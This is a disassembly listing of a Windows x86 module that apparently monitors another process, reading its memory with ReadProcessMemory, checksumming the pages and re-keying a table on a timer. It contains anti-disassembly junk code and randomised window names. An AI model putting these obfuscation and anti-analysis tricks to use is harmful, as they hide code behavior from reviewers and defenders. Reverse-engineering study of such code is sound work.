		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4F1F88
		push	offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE70h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_24], eax
		push	2
		call	dword_4ED088	; GetCurrentThread
		push	eax
		call	dword_4ED084	; SetThreadPriority


loc_4B78E1:				; CODE XREF: sub_4B78A3+69j
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_4B7C87
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B7919
		push	1F4h
		mov	edx, [ebp+var_24]
		push	edx
		call	dword_4ED224	; WaitForInputIdle
		cmp	eax, 102h
		jnz	short loc_4B790E
		jmp	short loc_4B78E1
; ---------------------------------------------------------------------------


loc_4B790E:				; CODE XREF: sub_4B78A3+67j
		push	0FAh
		call	dword_4ED1A4	; Sleep


loc_4B7919:				; CODE XREF: sub_4B78A3+51j
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_4B7C87
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4B7935
		xor	eax, eax
		jmp	loc_4B7C74
; ---------------------------------------------------------------------------


loc_4B7935:				; CODE XREF: sub_4B78A3+89j
		push	7530h
		mov	ecx, [ebp+var_24]
		push	ecx
		call	dword_4ED224	; WaitForInputIdle
		push	1F4h
		call	dword_4ED1A4	; Sleep
		push	0		; Time
		call	_time_0
		add	esp, 4
		mov	esi, eax
		call	dword_4ED03C	; GetTickCount
		xor	esi, eax
		mov	[ebp+var_178], esi
		mov	edx, [ebp+var_178]
		mov	[ebp+var_154], edx
		mov	[ebp+var_18C], 0Ah
		mov	eax, [ebp+var_154]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_180], eax
		mov	eax, [ebp+var_154]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_17C], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_188], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_184], edx
		mov	ecx, [ebp+var_17C]
		imul	ecx, [ebp+var_184]
		mov	edx, [ebp+var_180]
		imul	edx, [ebp+var_184]
		mov	eax, [ebp+var_17C]
		imul	eax, [ebp+var_188]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp+var_154], edx
		mov	eax, [ebp+var_154]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp+var_18C]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		add	eax, 4
		mov	[ebp+var_150], eax
		lea	edx, [ebp+var_14C]
		mov	[ebp+var_20], edx


loc_4B7A57:				; CODE XREF: sub_4B78A3+2D8j
		mov	eax, [ebp+var_150]
		mov	ecx, [ebp+var_150]
		sub	ecx, 1
		mov	[ebp+var_150], ecx
		test	eax, eax
		jbe	loc_4B7B80
		mov	[ebp+var_1A0], 34h
		mov	eax, [ebp+var_154]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_194], eax
		mov	eax, [ebp+var_154]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_190], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_19C], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_198], edx
		mov	ecx, [ebp+var_190]
		imul	ecx, [ebp+var_198]
		mov	edx, [ebp+var_194]
		imul	edx, [ebp+var_198]
		mov	eax, [ebp+var_190]
		imul	eax, [ebp+var_19C]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp+var_154], edx
		mov	eax, [ebp+var_154]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp+var_1A0]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		mov	[ebp+var_158], eax
		cmp	[ebp+var_158], 1Ah
		sbb	dl, dl
		and	dl, 20h
		add	dl, 41h
		movsx	ecx, dl
		mov	eax, [ebp+var_158]
		xor	edx, edx
		mov	esi, 1Ah
		div	esi
		add	ecx, edx
		mov	edx, [ebp+var_20]
		mov	[edx], cl
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_4B7A57
; ---------------------------------------------------------------------------


loc_4B7B80:				; CODE XREF: sub_4B78A3+1CBj
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	0
		push	28h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	[ebp+var_48], offset loc_4B7CAA
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_14C]
		mov	[ebp+var_28], eax
		lea	ecx, [ebp+Dst]
		push	ecx
		call	dword_4ED24C	; RegisterClassA
		push	0
		push	0
		call	dword_4ED050	; GetModuleHandleA
		push	eax
		push	0
		push	0
		push	80000000h
		push	80000000h
		push	80000000h
		push	80000000h
		push	0CF0000h
		push	0
		lea	edx, [ebp+var_14C]
		push	edx
		push	0
		call	dword_4ED250	; CreateWindowExA
		mov	[ebp+var_1C], eax
		push	0
		push	2710h
		push	1
		mov	eax, [ebp+var_1C]
		push	eax
		call	dword_4ED200	; SetTimer
		mov	[ebp+var_4], 0


loc_4B7C11:				; CODE XREF: sub_4B78A3+3B4j
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_4B7C87
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B7C59
		push	0
		push	0
		push	0
		lea	edx, [ebp+var_174]
		push	edx
		call	dword_4ED1E8	; GetMessageA
		test	eax, eax
		jle	short loc_4B7C59
		lea	eax, [ebp+var_174]
		push	eax
		call	dword_4ED260	; TranslateMessage
		lea	ecx, [ebp+var_174]
		push	ecx
		call	dword_4ED264	; DispatchMessageA
		jmp	short loc_4B7C11
; ---------------------------------------------------------------------------


loc_4B7C59:				; CODE XREF: sub_4B78A3+381j
					; sub_4B78A3+398j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4B7C72
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4B7C72:				; CODE XREF: sub_4B78A3+3BDj
		xor	eax, eax


loc_4B7C74:				; CODE XREF: sub_4B78A3+8Dj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4B78A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B7C87	proc near		; CODE XREF: sub_4B78A3+42p
					; sub_4B78A3+7Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_4F473C
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4ED0CC	; GetExitCodeProcess
		xor	eax, eax
		cmp	dword_4F473C, 103h
		setz	al
		pop	ebp
		retn
sub_4B7C87	endp

; ---------------------------------------------------------------------------


loc_4B7CAA:				; DATA XREF: sub_4B78A3+2F3o
		push	ebp
		mov	ebp, esp
		mov	eax, 1080h
		call	__alloca_probe_0
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 11h
		jnz	short loc_4B7D11
		xor	eax, eax
		mov	al, byte_4F4780
		test	eax, eax
		jz	short loc_4B7D07
		push	1
		push	offset aShutdown ; "Shutdown"
		mov	ecx, [ebp+8]
		push	ecx
		call	dword_4ED1DC	; SetPropA
		push	0
		push	offset sub_4B82D2
		mov	edx, dword_4F4750
		mov	eax, [edx+0Ch]
		push	eax
		call	dword_4ED1E0	; EnumThreadWindows
		push	offset aShutdown ; "Shutdown"
		mov	ecx, [ebp+8]
		push	ecx
		call	dword_4ED1E4	; GetPropA
		jmp	loc_4B82C9
; ---------------------------------------------------------------------------


loc_4B7D07:				; CODE XREF: .text:004B7CC9j
		mov	eax, 1
		jmp	loc_4B82C9
; ---------------------------------------------------------------------------


loc_4B7D11:				; CODE XREF: .text:004B7CBEj
		cmp	dword ptr [ebp+0Ch], 16h
		jnz	short loc_4B7D58
		xor	edx, edx
		mov	dl, byte_4F4780
		test	edx, edx
		jz	short loc_4B7D4E
		mov	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp+14h]
		mov	[ebp-4], ecx
		lea	edx, [ebp-8]
		push	edx
		push	offset sub_4B8307
		mov	eax, dword_4F4750
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4ED1E0	; EnumThreadWindows
		xor	eax, eax
		jmp	loc_4B82C9
; ---------------------------------------------------------------------------


loc_4B7D4E:				; CODE XREF: .text:004B7D21j
		mov	eax, 1
		jmp	loc_4B82C9
; ---------------------------------------------------------------------------


loc_4B7D58:				; CODE XREF: .text:004B7D15j
		cmp	dword ptr [ebp+0Ch], 113h
		jnz	loc_4B82B3
		mov	edx, dword_4ED3B0
		xor	edx, dword_4ED3FC
		xor	edx, dword_4ED3F0
		and	edx, 8
		test	edx, edx
		jz	loc_4B82AC
		push	offset dword_4F45B0
		call	dword_4ED1A8	; RtlEnterCriticalSection
		mov	byte ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4B7DAA
; ---------------------------------------------------------------------------


loc_4B7DA1:				; CODE XREF: .text:loc_4B7EA4j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_4B7DAA:				; CODE XREF: .text:004B7D9Fj
		mov	ecx, [ebp-10h]
		cmp	ecx, dword_4F4768
		jge	loc_4B7EA9
		mov	edx, [ebp-10h]
		shl	edx, 0Ch
		mov	eax, dword_4F4754
		add	eax, edx
		mov	[ebp-1Ch], eax
		mov	ecx, [ebp-10h]
		mov	edx, dword_4F4774
		mov	eax, [edx+ecx*4]
		and	eax, 1


loc_4B7DD8:				; CODE XREF: .text:004B7E46j
		test	eax, eax
		jz	loc_4B7EA4
		mov	ecx, [ebp-10h]
		mov	edx, dword_4F4774
		mov	eax, [edx+ecx*4]
		and	eax, 4
		test	eax, eax
		jz	loc_4B7EA4
		lea	ecx, [ebp-18h]
		push	ecx
		push	1000h
		lea	edx, [ebp-101Ch]
		push	edx
		mov	eax, [ebp-1Ch]
		push	eax
		mov	ecx, dword_4F4750
		mov	edx, [ecx]
		push	edx
		call	dword_4ED0D0	; ReadProcessMemory
		test	eax, eax
		jz	loc_4B7EA4
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B7E62 ; CODE	XREF: .text:loc_4B7E62j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B7E3A:				; CODE XREF: .text:004B7E5Bj
		jmp	short loc_4B7E59
; ---------------------------------------------------------------------------


loc_4B7E3C:				; CODE XREF: .text:loc_4B7E59j
		xor	ecx, ecx


loc_4B7E3E:				; CODE XREF: .text:004B7E4Dj
		jz	short $+2
		jmp	short loc_4B7E52
; ---------------------------------------------------------------------------


loc_4B7E42:				; CODE XREF: .text:004B7E56j
		stc
		xor	ecx, 3
		jz	short loc_4B7DD8
		jmp	short loc_4B7E4F
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B7E4B:				; CODE XREF: .text:loc_4B7E4Fj
		jmp	short loc_4B7E5D
; ---------------------------------------------------------------------------
		jz	short loc_4B7E3E


loc_4B7E4F:				; CODE XREF: .text:004B7E48j
		jnb	short loc_4B7E4B
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B7E52:				; CODE XREF: .text:004B7E40j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B7E42
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B7E59:				; CODE XREF: .text:loc_4B7E3Aj
		jmp	short loc_4B7E3C
; ---------------------------------------------------------------------------
		jmp	short loc_4B7E3A
; ---------------------------------------------------------------------------


loc_4B7E5D:				; CODE XREF: .text:loc_4B7E4Bj
		repne sbb al, 0DBh
		jmp	short loc_4B7E65
; ---------------------------------------------------------------------------


loc_4B7E62:				; CODE XREF: .text:004B7E35j
		jmp	short near ptr loc_4B7E35+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B7E65:				; CODE XREF: .text:004B7E60j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	0FFFFFFFFh
		push	1000h
		lea	ecx, [ebp-101Ch]
		push	ecx
		call	sub_490FB0
		add	esp, 0Ch
		mov	edx, [ebp-10h]
		mov	ecx, dword_4F4778
		cmp	eax, [ecx+edx*4]
		jz	short loc_4B7E99
		mov	byte ptr [ebp-14h], 0
		jmp	short loc_4B7EA4
; ---------------------------------------------------------------------------


loc_4B7E99:				; CODE XREF: .text:004B7E91j
		call	dword_4ED03C	; GetTickCount
		mov	dword_4F4760, eax


loc_4B7EA4:				; CODE XREF: .text:004B7DDAj
					; .text:004B7DF1j ...
		jmp	loc_4B7DA1
; ---------------------------------------------------------------------------


loc_4B7EA9:				; CODE XREF: .text:004B7DB3j
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_4B7EBA
		call	dword_4ED03C	; GetTickCount
		mov	dword_4F4760, eax


loc_4B7EBA:				; CODE XREF: .text:004B7EADj
		mov	edx, [ebp-14h]
		and	edx, 0FFh
		test	edx, edx
		jnz	loc_4B82A1
		mov	dword ptr [ebp-1020h], 0
		jmp	short loc_4B7EE6
; ---------------------------------------------------------------------------


loc_4B7ED7:				; CODE XREF: .text:004B829Cj
		mov	eax, [ebp-1020h]
		add	eax, 1
		mov	[ebp-1020h], eax


loc_4B7EE6:				; CODE XREF: .text:004B7ED5j
		mov	ecx, [ebp-1020h]
		cmp	ecx, dword_4F4768
		jge	loc_4B82A1
		mov	dword ptr [ebp-1044h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1038h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1034h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1040h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-103Ch], edx
		mov	ecx, [ebp-1034h]
		imul	ecx, [ebp-103Ch]
		mov	edx, [ebp-1038h]
		imul	edx, [ebp-103Ch]
		mov	eax, [ebp-1034h]
		imul	eax, [ebp-1040h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1044h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1030h], eax
		mov	dword ptr [ebp-1058h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-104Ch], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1048h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1054h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1050h], edx
		mov	ecx, [ebp-1048h]
		imul	ecx, [ebp-1050h]
		mov	edx, [ebp-104Ch]
		imul	edx, [ebp-1050h]
		mov	eax, [ebp-1048h]
		imul	eax, [ebp-1054h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1058h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1024h], eax
		mov	dword ptr [ebp-106Ch], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1060h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-105Ch], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1068h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1064h], edx
		mov	ecx, [ebp-105Ch]
		imul	ecx, [ebp-1064h]
		mov	edx, [ebp-1060h]
		imul	edx, [ebp-1064h]
		mov	eax, [ebp-105Ch]
		imul	eax, [ebp-1068h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-106Ch]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1028h], eax
		mov	dword ptr [ebp-1080h], 100h
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1074h], eax
		mov	eax, dword_4F4738
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1070h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-107Ch], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1078h], edx
		mov	ecx, [ebp-1070h]
		imul	ecx, [ebp-1078h]
		mov	edx, [ebp-1074h]
		imul	edx, [ebp-1078h]
		mov	eax, [ebp-1070h]
		imul	eax, [ebp-107Ch]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	dword_4F4738, edx
		mov	eax, dword_4F4738
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1080h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-102Ch], eax
		mov	edx, [ebp-1028h]
		shl	edx, 8
		mov	eax, [ebp-1024h]
		shl	eax, 10h
		mov	ecx, [ebp-1030h]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-102Ch]
		mov	edx, [ebp-1020h]
		mov	eax, dword_4F474C
		mov	edx, [eax+edx*4]
		xor	edx, ecx
		mov	eax, [ebp-1020h]
		mov	ecx, dword_4F474C
		mov	[ecx+eax*4], edx
		jmp	loc_4B7ED7
; ---------------------------------------------------------------------------


loc_4B82A1:				; CODE XREF: .text:004B7EC5j
					; .text:004B7EF2j
		push	offset dword_4F45B0
		call	dword_4ED1AC	; RtlLeaveCriticalSection


loc_4B82AC:				; CODE XREF: .text:004B7D7Cj
		mov	eax, 1
		jmp	short loc_4B82C9
; ---------------------------------------------------------------------------


loc_4B82B3:				; CODE XREF: .text:004B7D5Fj
		mov	edx, [ebp+14h]
		push	edx
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	dword_4ED23C	; DefWindowProcA


loc_4B82C9:				; CODE XREF: .text:004B7D02j
					; .text:004B7D0Cj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B82D2	proc near		; DATA XREF: .text:004B7CDEo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	11h
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4ED25C	; SendMessageA
		test	eax, eax
		jnz	short loc_4B82FE ; CODE	XREF: .text:loc_4B835Fj
		push	0
		push	offset aShutdown ; "Shutdown"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4ED1DC	; SetPropA
		xor	eax, eax
		jmp	short loc_4B8303
; ---------------------------------------------------------------------------


loc_4B82FE:				; CODE XREF: sub_4B82D2+15j
		mov	eax, 1


loc_4B8303:				; CODE XREF: sub_4B82D2+2Aj
		pop	ebp
		retn	8
sub_4B82D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B8307	proc near		; DATA XREF: .text:004B7D33o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	ecx
		push	16h
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4ED25C	; SendMessageA
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4B8307	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		pusha
		xor	eax, eax
		jnz	short loc_4B8348
		jmp	short loc_4B835D
; ---------------------------------------------------------------------------


loc_4B8348:				; CODE XREF: .text:004B8344j
		jmp	short loc_4B837D
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4B834F:				; CODE XREF: .text:loc_4B835Dj
		jo	short loc_4B835F
		jmp	short near ptr loc_4B835F+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4B835D:				; CODE XREF: .text:004B8346j
		jz	short loc_4B834F


loc_4B835F:				; CODE XREF: .text:loc_4B834Fj
					; .text:004B8351j
		jmp	short near ptr loc_4B82E7+1
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 0C76133A0h, 0DC60F845h, 45C7004Eh, 4EDC54FCh, 0F445C700h
		dd 0
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B837D:				; CODE XREF: .text:loc_4B8348j
		or	[ebx-3F7C0BBBh], ecx
		add	[ecx+7D83F445h], ecx
		hlt
; ---------------------------------------------------------------------------
		dw 0F02h
		dd 1408Dh, 7C077000h, 0E805EB03h, 0F9EBFB74h, 0FEEC8D8Dh
		dd 4D89FFFFh, 0F4558BECh, 0F895448Bh, 0B9F04589h, 1, 3074C985h
		dd 0FF0558Bh, 0D33502BEh, 8B000000h, 188EC4Dh, 0FEC558Bh
		dd 0C08502BEh, 14EB0275h, 83EC4D8Bh, 4D8901C1h,	0F0558BECh
		dd 8901C283h, 0C7EBF055h, 0FEEC858Dh, 6A50FFFFh, 0FF006A00h
		dd 4ED0A415h, 0E8858900h, 83FFFFFEh, 0FFFEE8BDh, 1A7400FFh
		dd 37C0770h, 74E805EBh,	8BF9EBFBh, 0FFFEE88Dh, 15FF51FFh
		dd 4ED0E8h, 0F5166EBh, 50D1F7C9h, 6DB8D0F7h, 916C6569h
		dd 0ADC0DEB9h, 0D0F791DEh, 59D1F758h, 0DB33609Ch, 22EB0374h
		dd 74DB33EBh, 0B80DEB00h, 87B90FEBh, 9034F9C9h,	0EB0574F9h
		dd 0F274C033h, 40C987B8h, 75C08548h, 9D61E9DDh,	92669266h
		dd 15FFC08Bh, 4ED078h, 7506F883h, 7C07700Fh, 0E805EB03h
		dd 0F9EBFB74h, 4BEB01B0h, 0FD0F750h, 7358C8h, 2BEB609Ch
		dd 0EB0E70D2h, 74C9331Dh, 0F910EB00h, 7403F183h, 0B905EB90h
		dd 0EF7410EBh, 1AF2FA73h, 0EBDB33DBh, 0E1EBE9EAh, 1CF2DDEBh
		dd 0EB03EBDBh, 9D61B8D2h, 2 dup(0D1F7C80Fh), 0FFFEADE9h
		dd 5FC032FFh, 0E58B5B5Eh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4B84DA:				; CODE XREF: .text:004B5D4Ap
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4F1F98
		push	offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	eax, 1A94h
		call	__alloca_probe_0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-2Ch], 0
		push	3
		push	0
		call	sub_4BE373
		add	esp, 8
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp-28h], eax
		push	offset aSetprocessshut ; "SetProcessShutdownParameters"
		mov	eax, [ebp-28h]
		push	eax
		call	dword_4ED074	; GetProcAddress
		mov	[ebp-0ECh], eax
		cmp	dword ptr [ebp-0ECh], 0
		jz	short loc_4B8556
		push	1
		push	100h
		call	dword ptr [ebp-0ECh]


loc_4B8556:				; CODE XREF: .text:004B8547j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B8579


loc_4B8576:				; CODE XREF: .text:004B8597j
		jmp	short near ptr loc_4B8599+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B8579:				; CODE XREF: .text:004B8574j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B858C
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B8582:				; CODE XREF: .text:004B858Ej
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B8590
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B858C:				; CODE XREF: .text:004B857Dj
		xor	eax, eax
		jz	short loc_4B8582


loc_4B8590:				; CODE XREF: .text:004B8589j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B8576


loc_4B8599:				; CODE XREF: .text:loc_4B8576j
		jmp	near ptr 92B222FFh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	dword ptr [ebp-0E0h], 94h
		lea	ecx, [ebp-0E0h]
		push	ecx
		call	dword_4ED1B0	; GetVersionExA
		jo	short loc_4B85C2
		jl	short loc_4B85C0


loc_4B85BD:				; CODE XREF: .text:loc_4B85C0j
					; .text:loc_4B85C2j
		jmp	short loc_4B85C4
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B85C0:				; CODE XREF: .text:004B85BBj
		jz	short loc_4B85BD


loc_4B85C2:				; CODE XREF: .text:004B85B9j
		jmp	short loc_4B85BD
; ---------------------------------------------------------------------------


loc_4B85C4:				; CODE XREF: .text:loc_4B85BDj
					; .text:loc_4B8641j
		cmp	dword ptr [ebp-0D0h], 2
		jnz	short loc_4B85D6
		mov	byte_4F4780, 1
		jmp	short loc_4B85F2
; ---------------------------------------------------------------------------


loc_4B85D6:				; CODE XREF: .text:004B85CBj
		cmp	dword ptr [ebp-0DCh], 4
		jnz	short loc_4B85ED
		cmp	dword ptr [ebp-0D8h], 5Ah
		jb	short loc_4B85ED
		call	sub_4BDFA4


loc_4B85ED:				; CODE XREF: .text:004B85DDj
					; .text:004B85E6j
		call	sub_4BE07A


loc_4B85F2:				; CODE XREF: .text:004B85D4j
		xor	edx, edx
		mov	dl, byte_4F4780	; CODE XREF: .text:004B8664j
		test	edx, edx
		jnz	short loc_4B8604
		cli
		not	esp
		not	esp
		sti


loc_4B8604:				; CODE XREF: .text:004B85FCj
		mov	eax, dword_4ED3B0
